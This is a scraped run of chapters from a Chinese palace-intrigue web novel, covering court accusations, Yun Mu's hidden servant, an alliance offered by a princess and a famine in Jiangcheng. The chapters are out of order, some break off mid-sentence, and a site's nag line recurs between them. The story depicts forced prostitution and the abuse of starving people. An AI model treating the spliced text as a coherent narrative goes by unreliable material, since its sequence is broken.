吕梁微弓着腰在前面引路:“皇上没说,奴才也不知。这两日裴大人时常进宫面圣,每次都把宫人遣退,奴才也探听不到消息。” 遣退宫人,秘密谈话,除了内库一事还有什么?裴然想借她的手把放出内库消息的人查出,在她的刻意引导下,裴然查到了工部的头上。 工部如今正筹备着万寿殿,梁文帝催促了许久裴然如今不敢轻易动工部,只能一次一次进宫查探梁文帝的口风和万寿殿的进展。 还背地里和太子联手,想把罪名扣在她头上,打得一手好算盘,那她就把事情闹得再大些。 云暮到勤政殿时,里头空无一人,候在殿外的太监道:“云大人,皇上和太子去未央宫了,说是一会儿就回。” 这一会儿云暮等了差不多一个时辰,“臣云暮,见过皇上。” “起来吧。” 梁文帝久久没有落座,黄如海拿过榻上的坐垫就要铺在龙椅上,梁文帝淡淡地扫了他一眼,“下去,这儿用不到你。” 云暮心领神会地接过垫子,在梁文帝坐下后,又替他调整好了身后的靠枕。 做完这些,她退回桌前,就听到梁文帝说道:“跪下,你可知错?” 这是试探她来了? “臣愚钝,不知办错了哪件差事,还请皇上告知。” 梁文帝见他装傻,怒道:“那三十万两你到底拿没拿?” 裴然都替她解释了,她怎么可能认罪? “回皇上,那笔钱是臣早些年借给裴大人的,裴家和钱家有生意上的往来,那日钱英来云府谈一桩生意,裴大人得知后就把银子给了他,托他转交给臣,这才有了先前的事。” “立借据时,裴府和云府的人皆在场,钱英把钱交给臣后,臣当着他们的面把借据给了钱英,这些事都做不得假。” 梁文帝被气笑了:“你手里拿捏了裴然的什么把柄,让他替你认了三十万两银子的事? 云暮,你的本事真不小啊!从前是朕小瞧你了。” 这个把柄自然就是内库了,但不该是由她来说。 “皇上,裴大人不过是念在臣与他同僚一场,不忍看臣被污蔑罢了。皇上您也知,金吾卫和兵部一向不和,臣如何能插手兵部的事?” 梁文帝对她起了疑,这几句话还不能打消他的疑虑,云暮又道:“皇上赏给臣的东西,臣这辈子都花不完,何必为了那三十万两银子自毁前程?” 梁文帝闻言,气已经消了几分,他冷哼了一声,“朕派人给你送去东西,也没见你向朕低个头。” 那些东西早就被一把火烧了,她还拿来做了一个人情,回什么话?真有一日被此人困在这方寸天地,她就是豁出这条命都要和他同归于尽。 云暮垂眸掩下冷色:“不过是些小事,臣不敢劳烦皇上。” “油嘴滑舌。” 又糊弄了一个人,但云暮没有想象中的那么欣喜,从宫里出来后,她身后又多了尾巴,梁文帝多疑,她就算言辞讨好,他也不会全然相信。 身后的人气息绵长,走路时轻两步重一步,以此往复,云暮认出是暗一。 云暮当初就是怕出意外,才提前给了徐文几个锦囊,思及此,她长长地舒了一口气。 …… 五日后的早朝上,太子不知用了什么方法,竟把长久不上朝的梁文帝请了过来。 “父皇,兹事体大,您也该知晓。” 别看梁文帝表面因修道清心寡欲,久不理朝事,裴然救云暮出狱一事让他心生不满,便派暗卫去查了这两人,谁知借钱一事还未证实,暗卫便发现裴然和太子暗中勾结。 放权给太子,太子借此结党营私也算他的本事,但他千不该万不该把裴然拉到他的阵营。 裴然建内库,他这些年过得那叫一个滋润,但这些都是要背着朝臣和万民。倘若被他人知晓,那些御史指不定怎么骂他,史书里留给他的也不会是什么好名声。 前者他不甚在乎,但他想在青史留名,留一个好皇帝的名声。 梁文帝问道:“太子要奏何事?” 太子递上奏折:“父皇,儿臣要参的依旧是云将军贪墨一事。” 云暮对于背锅已经习以为常,何况这次还是她主动把帽子戴到头上的。 梁文帝闻言,把奏折扔到一旁,有些不悦:“梁大人不是说了那件事是误会吗?” 太子不满他对云暮的偏心已久,当即说道:“父皇,不是上次之事。” “儿臣这几日查到,云暮把城南的宅子改成了她的私库,里头装的都是各地官员给他的孝敬,儿臣亲自带人去看了,还把里面的东西都登记在册,请父皇明查。” 云暮自是喊冤:“太子殿下,下官在城南一共有两处宅子,一处已经过到了秦王的名下,京兆尹府的人皆可作证。 另一处是下官几年前置办的,臣搬到如今的云府后就空了出来。” 太子冷笑道:“孤说的正是那间空出的宅子。” 云暮也笑了,她摊了摊手:“太子殿下,您去查的时候不知晓下官早在两年前就被人租赁了吗? 说来也巧,那人在场的各位大多都认识,正是裴大人的堂弟,如今在西南当知县的裴智。” 她好整以暇地看着面色惨白的太子和裴然,悠悠地说道:“下官记得,当初举荐裴智去西南当知县的人是太子殿下您呢。” 裴智年少时确实有些小聪明,但年岁渐长,这些小聪明便不够看了,再加上脑袋后来被人开了瓢,人就傻了。 裴智他爹求裴然的父亲让他给裴智安排一个闲职,遭拒后又求到裴然面前,又被拒。 彼时太子急于和裴家搭上关系,不顾幕僚反对,举荐了裴智,没想还真成了。 有了裴智他爹的周旋,太子和裴家才有了联系,没成想今日就栽在了这上头。 从裴智租的宅子里找到东西,这算不算太子自露马脚?最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百七十八章 砚清死了 云暮的话把太子和裴然说得哑口无言,一时竟忘了辩驳。 梁文帝于上首冷声问:“太子,裴然,可有此事?” 太子倏地跪地:“父皇,儿臣不知啊!” 梁文帝把奏折扔到太子身上,“不知?不知你何故去查云卿的宅子,又从哪得来的消息?朕可是听说了,云府前些日子夜夜有贼人造访,那些贼人该不会是你派去的吧?” 云暮挑眉,这是在暗示太子把事情推到其他人身上? 太子已经被最后那句话吓傻了,张了张嘴,不知该作何解,直到梁文帝再次问了一遍,他才心领神会。 “父皇,是云暮身边那个砚清说那是各地大小官员献给云暮的孝敬,儿臣这才信了他,父皇,是云暮再给儿臣下套!” 云暮的担心到底还是多余了,太子这个废物,连云暮都听出梁文帝的意思是让他攀咬裴家,他却把矛头指向了她。 难救啊。 平日里多聪明的一人,如今慌了阵脚,也成了蠢货,梁文帝被噎住了,一口气堵在喉头。 “人呢?” 在侍卫去东宫提人时,太子的人纷纷站了出来。 “云大人,把从裴智的宅子里搜到的东西说成是太子殿下的,这不妥吧?” “若强行扯上关系,那处宅子是云大人的,太子所参之事也算属实。” …… 云暮的人也站出来辩驳。你一言我一语,整个金銮殿吵得让人头疼。 “三位客人,渡春风的姑娘白天休息,不方便接客,你们不如晚上再来?” 三个相貌普通的男人才到渡春风门口,就被几个龟公拦住了去路。 为首的云暮丢给他两锭金子,“你还不配和我们哥几个说话,换个能做主的人来。” 龟公各咬了一口后,喜笑颜开,朝身后一扬手,就有人往楼上去了。 没多久,柳娘不急不缓地走下了楼,眼神没在金子上停留,“几位官人,姑娘们才刚歇下呢,累了一夜,恐怕不能让你们尽兴,不如等她们歇好了再来?” 云暮把一张五百两的银票拍到她的胸口:“尽不尽兴,我们说了算,你这门开着就是做生意的,哥几个只是来京城做些小本买卖,再晚一会儿就要出城了,等不到晚上。” “五百两,给我们叫一个姑娘,若是玩死了,再给你们二百两的买命钱。” 大梁官员不许狎妓,但山不来就我,我就山,稍稍使些手段,银子也少不了,光点一个姑娘就给这么多的,也是少见。柳娘原想拒绝,但又实在舍不得这么多银子,况且,他们只点一个姑娘。 人死了,她拿七百两,就算人不死,也能有六百两,柳娘心思有活络了起来,笑意吟吟地把几人往楼上请:“官人,你们可有看好的姑娘?” “我们头一次来京城,也不太懂,凭你安排。” 他们查过,宋华的姿色在渡春风中不过平平,最近更是因为伤了身体接不了客,柳姨早就对她心生不满。 云暮在赌,赌柳姨这种丧尽天良的人会主动把宋华送来。 柳娘眼珠子一转,吩咐了几句。 那个赔钱货这几日接不了客也就算了,还要花钱买药,那副瘦弱的身子,也不知还能不能怀上身孕,与其再浪费银子养她,不如给她一个将功补过的机会。 宋华木木地躺在床上,眼神死寂,任由龟公把她拖下床。 “给你一炷香的时间收拾,等会儿去接客。” 角落的一个姑娘看不过去:“她身子还未好,我替她去。” 龟公咧开嘴笑,在昏暗的屋里,让人生寒:“三位客人只点了华娘子。” 宋华如提线木偶般往脸上擦粉,涂口脂,又换上了一套红纱薄衣。 字条已经给出去三天,还是无人来救她,或许,她命该如此,若是今天被人折腾死,她也算解脱了。 “三位官人,华娘来了。” 嘎吱声响,一个红衣女子款款走来,举手投足间,香风阵阵,但只要人定睛细看,就能发现厚重的脂粉下,是掩饰不住的疲色。 宋华走到里间,三个大腹便便的男人正瘫坐在椅子上百无聊赖地甩着皮鞭。 她呼吸一窒,想要转身离去,但门已经被人从外关上,她心如死灰地朝着几人走去,强颜欢笑:“奴家华娘,三位官人今日打算玩些什么花样?” 季川凑到云暮的耳边,低声道:“就是她。” 赌赢了。 “过来。” 云暮把皮鞭一丢,手指在纸条上轻点,“你写的?” 宋华不知他们身份,看着也不像官府之人,她脚下一软,跪倒在地,咬死不认:“官人,叫宋华之人多如过江之鲫,你们怎么就能一口咬定是奴家所写。” 俯身之时,胸前风光一览无余。 沈聿明二人移开目光,在房中四下踱步,就是不看宋华。 大理寺的腰牌被云暮轻轻搁在桌上:“是嘛,宋华大费周章让人来官府报官,既然是我们认错人,那就先告辞了。” 把腰牌重新收回囊中,云暮几人就要往外走,在门被打开的前一瞬,宋华跪行到他们身后,抓着云暮的衣摆,“求三位大人垂怜。” 云暮把外袍递给宋华,“披上再回话。” 单薄的外袍,让她捡起了为数不多的尊严,宋华小声道谢。 “把你知道的都说出来。” 谈及往事,宋华的泪水如不绝江河,她认不出腰牌真假,但这是她唯一的机会了,若他们真是柳娘派来试探她的,那她也认了。 “奴家住在升平坊的顺义胡同,家中还有一个……” 一口气把事情的原委都说了出来,宋华把脸埋在双臂之中,苦得上气不接下气。 她爹离世后,家中只剩下她和母亲二人,但这么多年了,母亲也没有让她吃过一点苦头,就算是外出,也会托隔壁的婶子照顾好她。 母亲不在,她就把家里收拾得干干净净,种菜养鸡,一个人也要把日子过好。母亲回来时,两人一起赶集,布置好两人的小家。 她和母亲不过是想攒够一笔钱,早日回老家,最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百七十七章 演戏 不消片刻,又在某些人的推波助澜下,这事儿传遍了京城。 有说云暮心狠,也有说砚清罪有应得,但他们全然忘了“砚清”是“死”于太子之手。 砚石带着人从外回来后,愤愤道:“大人,定是太子的人在推波助澜,我们要不要……” 云暮不用想都知道外边传什么话,“不用,这些年传得比那难听多了去,管他们做什么。你今夜和我去一趟鬼市。” 砚石喜道:“是。” 是夜,子时四刻才过,云暮带着砚石准时出现在鬼市的入口。 她轻车熟路地来到暗河边,砚石第一次来对鬼市的一切都很好奇,但他还是亦步亦趋地跟在云暮身后。 船夫把他们送到对面的岸边后就离去了,云暮又带着人走进溶洞深处。 溶洞里的小道狭窄,只能一人通过。水滴从上落下,不时还会落到人裸露在外的皮肤上,冰冷的水激得云暮起了一身鸡皮疙瘩。 往前行了一段路,隐隐看见一盏灯笼立在前头。又行数十步,豁然开朗。 上次遇刺后,辛百草就换到了溶洞的更深处。进来的路只有三条,其中两条都只能通行一人,想要在小道里埋伏难上加难。 剩下的那条是水路,水中还有不少鼍,人一旦落水,就会被鼍吞吃入腹,尸骨无存。 鬼市昏暗,道路四通八达,一个不注意就会忘了来路,真不知道他师傅是怎么找到这个地方的。 屋中烛火通明,辛百草的身影映在窗上,云暮抬手轻叩了两下门,“师父。” “来了。” 不多时,门自里打开,辛百草那张俊脸出现在二人面前:“还当你们要晚点才能到。” 云暮让出半个身子:“砚石思兄心切,再不让他见到砚清,他都要以为城头上挂的是他兄长了。” “属下见过神医。” 砚石尴尬地挠了挠头,他家大人的师父倒是比想象中的年轻。他们两兄弟自打出生起就鲜少分别过这么久,更别提他还知道砚清在东宫受苦。 辛百草把两人领到砚清的床边,不过五日,砚清的脸瘦得脱了相,放在被子外的手上布满伤痕,气息微弱。 云暮眼神在门外和辛百草身上转动,辛百草了然朝门外走去,屋里只剩下砚石两兄弟。 云暮听见她问:“砚清他……如何了?” 辛百草作为神医,不过是救下一个假死脱身加身受重伤的人,算不得什么难事。倘若他不在,云暮又还要与那帮人周旋,谁来救人?所以辛百草还是决定唬一唬云暮。 他神色凝重:“你也瞧见了,他身上伤口无数,又吃了那药,如今还未清醒,难啊。” 都说医者喜欢夸大病患的病症,从而开贵重之药以达赚钱的目的,有她叮嘱,辛百草给砚清用的药物定是最贵最好的,还是她师父,云暮没有怀疑他半分。 “师父,徒儿求您不管用什么药,都要要救下他,如果您这儿没有,就告诉徒儿,徒儿想法子给您找来。” 这是在质疑他的医术?辛百草哼了一声:“现在知道怕了?” 云暮背手低垂着头,脚尖踢着一个小石子,这是她心慌时惯做的动作。她身边的能用的人不少,但合适进东宫做内应的只有砚清。 她想到太子会对砚清动手,但没想过对方会下这么重的手。 砚清去之前,她信誓旦旦地和对方说会保她无虞,其实她不过是仗着辛百草还在京城,能给她兜底罢了。 辛百草叹了一口气,抬手如她小时候那般摸了摸她的头:“暮儿,还有师父在呢,别担心。只要他还剩一口气,师父都能把他从阎王爷手里抢回来。” 云暮不想气愤太过沉重,故作恼怒:“好啊师父,您竟然骗徒儿。” 辛百草站在原地任她打了两下才道:“不闹了,来说说砚清吧。 他如今的情况不算太好,但胜在底子好,清醒后得修养五日才能换脸,换脸后还得观察一些时日,要回云府也得一个月后了。” 一个月后,他也得回一趟江南了,在外面太久,再不回去,该传他死在外边了。还有,他的大徒弟该有意见了。 云暮却摇了摇头:“师父,让砚清随你回江南吧。” 真要和太子反目,她不知自己能护住多少人,如今能护住一个算一个。 辛百草却道:“这话你得亲自和那孩子说,他不愿的话,为师总不能把他打晕了带走吧。只怕还没出城门就要被扣下了。” 他可不觉得那孩子会随他南下。 “大人,神医,兄长醒了!” 云暮离门较近,她率先进了屋,制止住砚清要起身的动作:“躺着,还没好呢,莫要乱动。” “大人,属下幸不辱命。” 云暮鼻头一酸,“我知道。” 碰到砚清手上的伤痕时,心疼和恨意在她心口交织,“是我对不住你。” 砚清把手缩回被子里,宽慰道:“不过是些小伤,大人莫要自责。” 说完,他喘了几口气。 辛百草把云暮和砚石都赶了出去,“人才刚好,身子还虚着,不能伤神,今日就先到这里吧。” 有些事,不适合现在谈。 云暮回头又看了一眼,见砚清又沉沉睡下,也只好暂时先离开。 回去的路上,云暮叮嘱砚石:“等天一亮你就去取下城门口的尸首,我城外乱葬岗备了一口好棺,你把人葬了后再去借酒浇愁,告慰亡灵,把面子做足了。” 太子或者其他人定会趁此机会拉拢砚石,好抓到她的把柄,她得把机会递给他们。 “是。” 第二日,云暮正在府中陪十五练剑,安叔拿着一封未封口的信,“大人,门外有人指明要见您。” 云暮手中的木剑拍了一下十五的手肘:“抬高些。” 又对安叔说道:“谁?” 安叔回道:“带着帷帽,看不清样貌,只知是个男子,他给了老奴这封信,说是您看了之后自会见他。” 好大的口气。 云暮接过信,里面装的不是信纸,而是一枚玉佩,沈聿明和太子都有的一枚玉佩。最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百七十八章 公主来访 照着安叔说的身形,云暮大约猜出来人是哪一位了,只是多少让她有些意外。 偌大的正厅只有他们两人,安叔和侍女正在门外守着,不许旁人靠近一步,云暮行了一礼:“下官见过长宁公主。” 长宁似笑非笑,“云大人好眼力,起来吧。” 云暮把装着玉佩的信封还给长宁:“面容能掩,气质却是不能。下官斗胆一问,今日公主来云府所为何事?” 长宁没有说出来意,反倒是打量起云府的正厅,“听说父皇把这座宅子赐给你时,曾派人修缮过,花了不少银子,又鲜少有人登门,云大人不打算带本公主逛逛?” 公主都发话了,云暮即便不愿,也只能带着人在云府逛了一圈。 楼阁亭台,假山流水,只剩残枝的枯荷池……长宁感慨了一句:“云大人的府邸能抵得上几座宫殿了,本公主所住的殿宇在云府面前真是大巫见小巫了。” 她父皇对他倒是比她这个女儿好得多。 云暮不知她的来意,只平静道:“公主说笑了。” 长宁笑着抚了抚鬓发,“云大人得空不妨去本公主的宫里坐坐,就知道本公主是不是在说笑了。” 她前脚去了长宁的宫里,后脚就能传出谣言。 长宁见他不语,又道:“不过是喝杯茶罢了,云大人是怕父皇还是秦王误会?” 云暮心头狠狠一跳,但还是没有抬眼看人,只道:“公主,皇上最忌讳的就是后宫和前朝有牵扯。” 长宁眯着眼打量他,“云大人多虑了,本公主母妃不过是一个贵人,又无母族傍身,在前朝能翻得起多大的风浪呢?” “今日来云府,也不过是近来身子不适,请了好几个太医都瞧不出本公主生了什么病,情急之下,只能来找云大人了。” “云大人乃神医辛百草的徒儿,定能诊出病症。” 说罢,她朝云暮伸出手。 云暮抬眼看她,面色红润,双目清明,不像是生病的模样,但人话都这么说了,她也不好把人赶走,只得先把人引回正厅,“公主稍待片刻,下官去拿医箱。” 长宁点点头,“去吧。” 云暮再次回到正厅时,把安叔和那个侍女一同叫了进来。双指搭上长宁的脉象时,云暮便知她无病。 收回手后,云暮冷声问:“脉象平稳有力,公主今日难不成是特意来戏耍下官的?” 长宁哎呀了一声,“云大人别恼,本宫这几日睡不安稳,夜半时常被梦吓醒。” 她屏退下人,问道:“云大人不好奇本宫做了什么梦吗?” 直觉告诉云暮不是什么好梦,知道得越多,就更容易卷入风波,她道:“不好奇。” 长宁轻笑了一声,“可本公主想和大人您说。” 她的声音忽而变低,语气泛冷:“本公主梦见太子皇兄横死,皇后心如死灰,卧榻不起,崔家押错了宝,繁荣不再。” 云暮被她的话震惊得无以复加,半晌说不出话,这事情的转机好像不对? 长宁冲他柔柔一笑,“云大人,不如我们联手,秦王兄长,我,还有你,太子皇兄一定不是我们的对手。” “你的手下被太子皇兄害死,那可是跟你出生入死好几年的人啊,云大人不想为他报仇吗?” 云暮和才认识长宁一样,把人上下打量了一遍,“公主,您说笑了,下官与秦王不和,满朝皆知,您虽在后宫,但多少也该听到一些风声吧?” “至于砚清,那就更可笑了,他偷走了云府的贵重之物献给太子,欲求荣华富贵。他该庆幸自己死得早,否则被下官发现,诏狱的万般酷刑就要用在他身上了。” 砚清一事长宁还未查清,派去乱葬岗的人也都说看到砚石正在哭坟,神情伤心做不得假,但长宁还是觉得不对。 和自己血脉相连、情感甚笃的亲兄长突然叛逃,砚石事先没有得到风声她是不信的。 但那日他公然在门外承认死人是砚清,还把人挂在墙头,试问作为亲弟,他怎么能做到?难不成就因为云暮的一句话? 可砚石若是真的忠心,方才又怎么会…… 云暮自负太过,终日放鹰,往后总有被鹰啄眼的时候,长宁暗自笑了,“不说这个了,云大人,你也不想你和秦王还在暗中联系吧?” 云暮装傻充愣:“公主,下官不知你说的是哪件事。” 她近来只和沈明见过一面,还在城外,长宁公主又不常出宫,那日在外守着的人也没有发现任何异常,她只当对方在诈她的话。 长宁的指尖在桌上轻轻敲了两下,提醒道:“几日前,城外那家面馆。” 云暮:…… 砚石和文竹那日怎么看的,这么大一个活人都没看住。她脸上的表情变了又变,五彩纷呈,“公主,你想要什么?” 长宁恨恨道:“本公主要和你们联手,扳倒太子。” 云暮不解,长宁作为公主,虽年长她几岁,但若要真心实意纳驸马,也能找到个好的。大梁还能撑住两年,只要她在这期间成婚,将来若是要和亲也轮不到她。 不管从哪里看,长宁都没有要害太子的必要,这究竟是为何? 长宁虽急着要云暮的答复,但云暮先前和皇后走得近,想来一时半会儿也做不了决定。 她拿起帷帽:“云大人您好好考虑本公主的提议,你放心,本公主办事,不会让你失望的。” 云暮把人送至门口,砚石迎面而来,脸上沾着乱葬岗的黄土,灰扑扑的衣服上还带着呛人的酒意。 云暮怒斥:“砚石,青天白日的,你喝成这个样子,如何当差?” 又对安叔说道:“扣他三个月的月钱,把人带下去,洗不干净就那铁刷涮干净,免得再污了贵人的眼。” 人走后,长宁忽然转头,隔着帷幔看了一眼那个叫砚石的人。对方注意到她后,才收敛了眼中的恨意,低垂着头跟在安叔身后。 想要和人合作,就要递上诚意,长宁意味深长地说道:“云大人,砚石怕是要步他兄长的后尘。”最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百八十一章 沈聿明存心勾引 “就查到了这些?” 连着两天,云暮都派人盯住了长宁公主寝宫,每日所行之事都要一一记下,这些都写不满一页纸。 和嬷嬷学规矩,做女红,看书习字…… 她生母的宫中都鲜少去,更别提去皇后宫里,和太子甚至没有任何交集。可是那日她分明听出了对方的恨意,她漏了什么消息? 她吩咐道;“去查查她五日前因何出宫。” 城外那家面馆有些偏僻,生意冷清,店家还肯经营下去,一是为了传承他父亲的手艺,二就是她在暗中支持。 长宁一个深居简出的人,那日忽然出现在面馆,定然不是意外,云暮还不至于自大到认为对方欣赏她,想和她合作才一直盯着她。 但仔细一想,多一人胜算也会多上一分,只是合作一事并非她一人说了算。 依旧是城外的面馆,这一次,云暮和沈聿明径直上了二楼。 云暮坐下后直接说道:“王爷觉得长宁如何?” 一来就谈事,一句虚假的寒暄都没有,沈聿明撇了撇嘴,“不如何,孤与她不熟。” 这话不假。 他们一个住在宫外,一个住在后宫,宫宴上两人的位置相隔甚远。认回身份这么久,他一句话都不曾和对方说过。 云暮在宫里摸爬滚打这么多年,自是听出了沈聿明话中的不满:“你不喜欢她?” 沈聿明理直气壮道:“孤一得了你的信,午膳都没用就火急火燎地赶过来了。你倒好,一来就问长宁,你怎么不问问本王有没有用午膳。” 她记得信是送到大理寺的,大梁各部和府衙都是午时三刻用膳,现下已是未时,他怎么还没用膳? “大理寺这几日很忙?” 沈聿明指着他眼下的青黑开始和云暮吐苦水,“可不是,昨儿不知道谁从鬼市抓了一批倒药卖的人,嘴又严得很,程大人便让孤一同审理。” 他忽然凑近云暮,“你看看孤是不是比往日憔悴了?” 长睫卷翘,在脸上投下一片阴影,再往下就是高挺的鼻梁被和带着若有似无的笑意的双唇,身上还带着淡淡的雪松味,熟悉得让她的心尖颤了颤。 往日种种浮上心头,云暮清晰地察觉到她的喉咙滚动。她在心里暗念:“男色误人,男色误人。”又有一道声音在喊:“亲上去!” 好在最后还是理智占了上风,眼看沈聿明的脸离她越来越近,云暮伸出食指抵住沈聿明的额头,将人推了回去,“王爷,下官眼神不好,您还是去问旁人吧。” 就差那么一点,云暮就要被他蛊惑了,沈聿明失望地退了回去,“本王饿了,吃饱之前不谈事。” 云暮丢下一句等着就下了楼。 沈聿明哎了两声,云暮还是头也不回,还顺道关了门,他忽然有些后悔。原只是想把守在楼梯口的人支开,好叫他和云暮单独相处,但他确实没想到云暮会亲自下去。 云暮靠在门上,轻拍着胸口顺气,压制的热意终于升腾,染红了她的脸颊和耳朵,她怀疑沈聿明存心勾引。 一直守在楼梯口的陈江走了上来,关心道:“大人,您身子不适?” 云暮站直了身体:“无事,去叫店家做碗面,等会儿你送上来。” 她下来还有另一个目的。 楼梯口在面馆深处,被黑暗罩着,但位置极好,只需站在上头就能把面馆一楼的情况都尽收眼底。 视线在店内转了一圈,来者多是一些五大三粗的壮汉,无人覆面,也无可疑之人。 云暮在后院绕了一圈,从后门绕到前院,空无一人。再绕回来时,正对着门的屋檐背面蹲着一个文竹。见了云暮,他一跃而下:“云大人,发生了何事?” 云暮摇头道:“无事,见了可疑之人及时来报。” 注意力被转移,外头的秋风一吹,云暮脸上的热乎退散,她才又拉开门回了店内。 回到二楼时,面也正好送到。 沈聿明看了一眼陈江,很快又收回目光,明明这面没有加醋,闻着却觉得格外的酸。 为什么她身旁的男人总是一个接着一个,既然这么喜欢长得好看的男人,为何不能回头看看他? 等人走后,他开口道:“云大人好福气,身边的侍卫武功相貌样样不凡。” 谁不喜欢跟在身边的人模样好?就是公文文书看累了,还能看他们养养眼。 云暮还当他是真心实意夸赞,谦虚道:“也就还能看得下去吧。” 和上次不同,沈聿明这碗面吃了很久,云暮看着看着忽然就发起了呆,回想长宁的怪异之处。 沈聿明察觉视线落在他身上,心中暗喜,还当是美男计发挥作用了,美滋滋地抬起头,“别以为……” 在看到云暮无神的双眼后,他的表情瞬间黯淡。 云暮回过神,“王爷方才说什么?” 沈聿明低头咬了一口面后才道:“没什么。” 没吃上面也不高兴,如今面都到嘴里了,怎么还是不高兴?沈聿明何时变得这般喜怒不定了? 云暮试探开口:“面不合胃口?” “没有。” 不是面的问题,就是人的问题了。 “方才有人来过?” 不应当啊,她就下去了那么一会儿,回来的时候沈聿明看起来也好好的。 “没有。” 猜不到原因,与其无厘头地想,不如直接问他:“方才还好好的,怎么突然又生气了?” 又?她这是嫌他烦了?需要他的时候就招招手,如今腻了连哄都不想哄了,当他是什么召之即来挥之即去的东西吗? 沈聿明一怒之下怒了一下,“孤没生气。” 和从前一样,他就差把哄我写在脸上了,云暮到底还是心软了。 “到底怎么了?” 两人的关系还有些微妙,云暮能做到这一步已经是格外让步了,沈聿明不敢再拿乔,委屈道:“你和我在一起的时候能不能别想旁人?” 云暮有些心虚,虚张声势道:“我想谁了?” 沈聿明不过只是猜测,结果真诈出来了,他就不该问!把面当成云暮想的那个人,他低头恶狠狠地咬了一口面。最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百八十二章 太子禁足 云暮轻咳了一声,“说正事吧。” 她把前几日和长宁的会面复述了一遍,又在脑中回想了对方当时的神情。 “你说,她这是何意?我们现在对她一无所知,难不成真要和她联手?” 沈聿明也觉得不可思议,“她没说手头有什么筹码?” 云暮摇头,“她当时只道了一句她办事,我放心。这么多天了,还是一点动静都没有。” 她是夸大其词还是在等良机? 很快,云暮就知道这个答案了。 有人给梁文帝送了一封密信,说是太子的东宫里藏了违禁之物,已经对太子生了疑梁文帝当即派人去东宫搜查,果真找出刀、剑、矛等武器。 东宫里的侍卫每人只配一柄长剑,一套盔甲,除此之外,不许再有其他的东西。 而这一次在东宫竟搜出刀剑几十余柄,除此之外,还有上百支羽箭。东西虽不多,但却触到了梁文帝的逆鳞。 他陷害兄弟上位,最后又于寝宫逼死先帝, 太子在勤政殿外跪了几个时辰,皇后得了消息后修书一封匆匆赶到勤政殿。 梁文帝只见了太子,把人痛骂了一顿之后,下令禁了他的足,无诏不得外出。 同时也有一封信送到云暮桌上,“云大人,这是本公主的诚意。” 江城。 沈聿明混进人流中,随着一起往城门口的方向走去,他幼时东躲西藏惯了,伪装成普通人倒也没什么难处。 他缀在队伍的末尾,正欲和前头的人搭话,突然被人自身后狠狠一撞,若不是前头那人抚了他一把,只怕此刻已经倒在地上了。 他站定后,看着那几个大摇大摆地走到粥棚,将手中堪比脸盆大的食盆重重放在桌上,官兵不仅习以为常,还殷切地和和他们套近乎,一勺一勺往食盆里打着粥,周围无一人敢反抗。 沈聿明闭眼深吸了一口气,换上一副好奇的神色“大哥,他们是什么人?” 大哥诧异地打量着他,“小兄弟,你不认识他们?” 沈聿明挠了挠脸,有些犹豫,最后低声说道:“大哥,实不相瞒,小弟听说江城有活干,有饭吃,今儿才到,对这儿的情况还不了解。” 这种危急关头,江城的人排外得很,毕竟多一个人,那分到他们手上的东西就越少。好在这人也是打城外来的。 他也低声道:“这些家丁是顾家的人,每日一到布施的时间,他们拿着食盆就来了,官府怕得罪顾家,盆有多大,他们就给多少。” 沈聿明出门时曾路过顾家,两头石狮子威严地站在府门前两侧,从左到右走了差不多两盏茶的时间,可见顾家占地之广。 偌大的府邸,已经落魄到需要和平头百姓抢食的地步了? “就这么任由着他们拿走这么多粥?” 大哥叹了一声,“那有什么办法呢,也不没有人反抗过,但被他们摁着就打,空着肚子挖了大半日的水渠,还要被人打了一顿,谁还敢不满?再有人帮腔,官爷腰间的剑就要拔出来了。” “不若就当个缩头乌龟,至少还能留下一条命,喝上一口粥。” 沈聿明跟着他往前走了几步,眼睁睁地看着官兵不停地往食盆里舀米粥,食盆满得快要溢。 而后便拎起一旁的水桶,一桶一桶把里头的水往粥里倒,很快,米粥变成米水,舀到百姓碗里,不过只有寥寥几粒米。 即便是他东躲西藏那几年,最落魄的时候,啃着被冻得干硬的窝窝头尚且腹中饥饿,这些还要上工之人,不过得了一碗米水就激动万分。 他张了张唇,许久才发出声音“不是听说太子殿下来了江城吗?顾家这般嚣张,他也不管吗?” 大哥冷笑了一声,讥讽地看了一眼府衙的方向,什么都没说,却又什么都说了。 若太子管,他们何至如此? 沈聿明心口堵得慌,从前只觉得他自己命不好,从皇帝曾经的宠妃之子沦为草寇,但比起这些人,他幸运了不止一点。 大哥突然又道:“听说又来了一个王爷,咱江城地儿不大,大人物来的倒是不少,但多半是也是个不办事的。” 排在他们两侧的亲信顿时侧目,沈聿明怕露馅,淡淡地瞥了他们一眼,又向这个大哥了解了一些情况后,见顾家的家丁端着食盆已经走了一段路,他连忙跟上,身后的大哥喊了几声,见他还是没回来,不解又有些高兴。若是后头没人,他就能多喝两口粥。 在沈聿明走后不久,其余人也纷纷走了,空了一个位置,身后的人蜂拥而上,生怕被人占了位置。 沈聿明在京城时,翻云府的围墙惯了,如今再做起这事,还是熟练得很,他隐在最高的屋顶上,看着家丁往嘴里塞了几口粥后,就把剩下的粥倒进后门的泔水桶,而后以三文银子一碗卖给那些饿着肚子的人。 只是房屋都被泥沙掩埋,哪里来得钱卖这些被混了泔水的粥? 一个家丁往地上吐了一口痰,指着地面说道:“谁把它舔干净,就赏谁一碗粥。” 一群人争先恐后地上前。 沈聿明手握成拳,发出咯咯的声音,他往脸上糊了一层厚厚的泥,又往地上那恶心之物掷了一块泥,阻止了那人的动作,而后带着人一窝蜂地涌了上去。 把人打了个半死,将他们丢回顾府后,沈聿明的人提着桶就往僻静处跑,那些人紧随其后。 沈聿明沉默地看着手下把一勺一勺馊水往他们碗里舀,这种东西在京城拿来喂狗狗都嫌弃,但江城的人却视若珍宝。 等顾家的家丁找到泔水桶时,里面已经连一粒米都不剩,几人愤怒地对着墙踢了一脚,“把那几个人找出来,弄死他们!” 到了午间,沈聿明又如法炮制,混进了疏通河道的队伍里。 下手的动作一旦慢几分,鞭子下一瞬就会落到背上,背上的鞭伤再被泥水覆住,又没钱去看大夫,伤口被感染是迟早的事。 人死了,不过是在城外草草挖个坑丢进去,时最近转码严重,让我们更有动力,更新更快,麻烦你动动小手退出阅读模式。谢谢 第一百八十三章 送茶 “大人,外头有人找。” 云暮抽空抬头看了一眼,道:“带进来吧。” 监视了云暮好几次,但光明正大走进布政坊还是第一次。 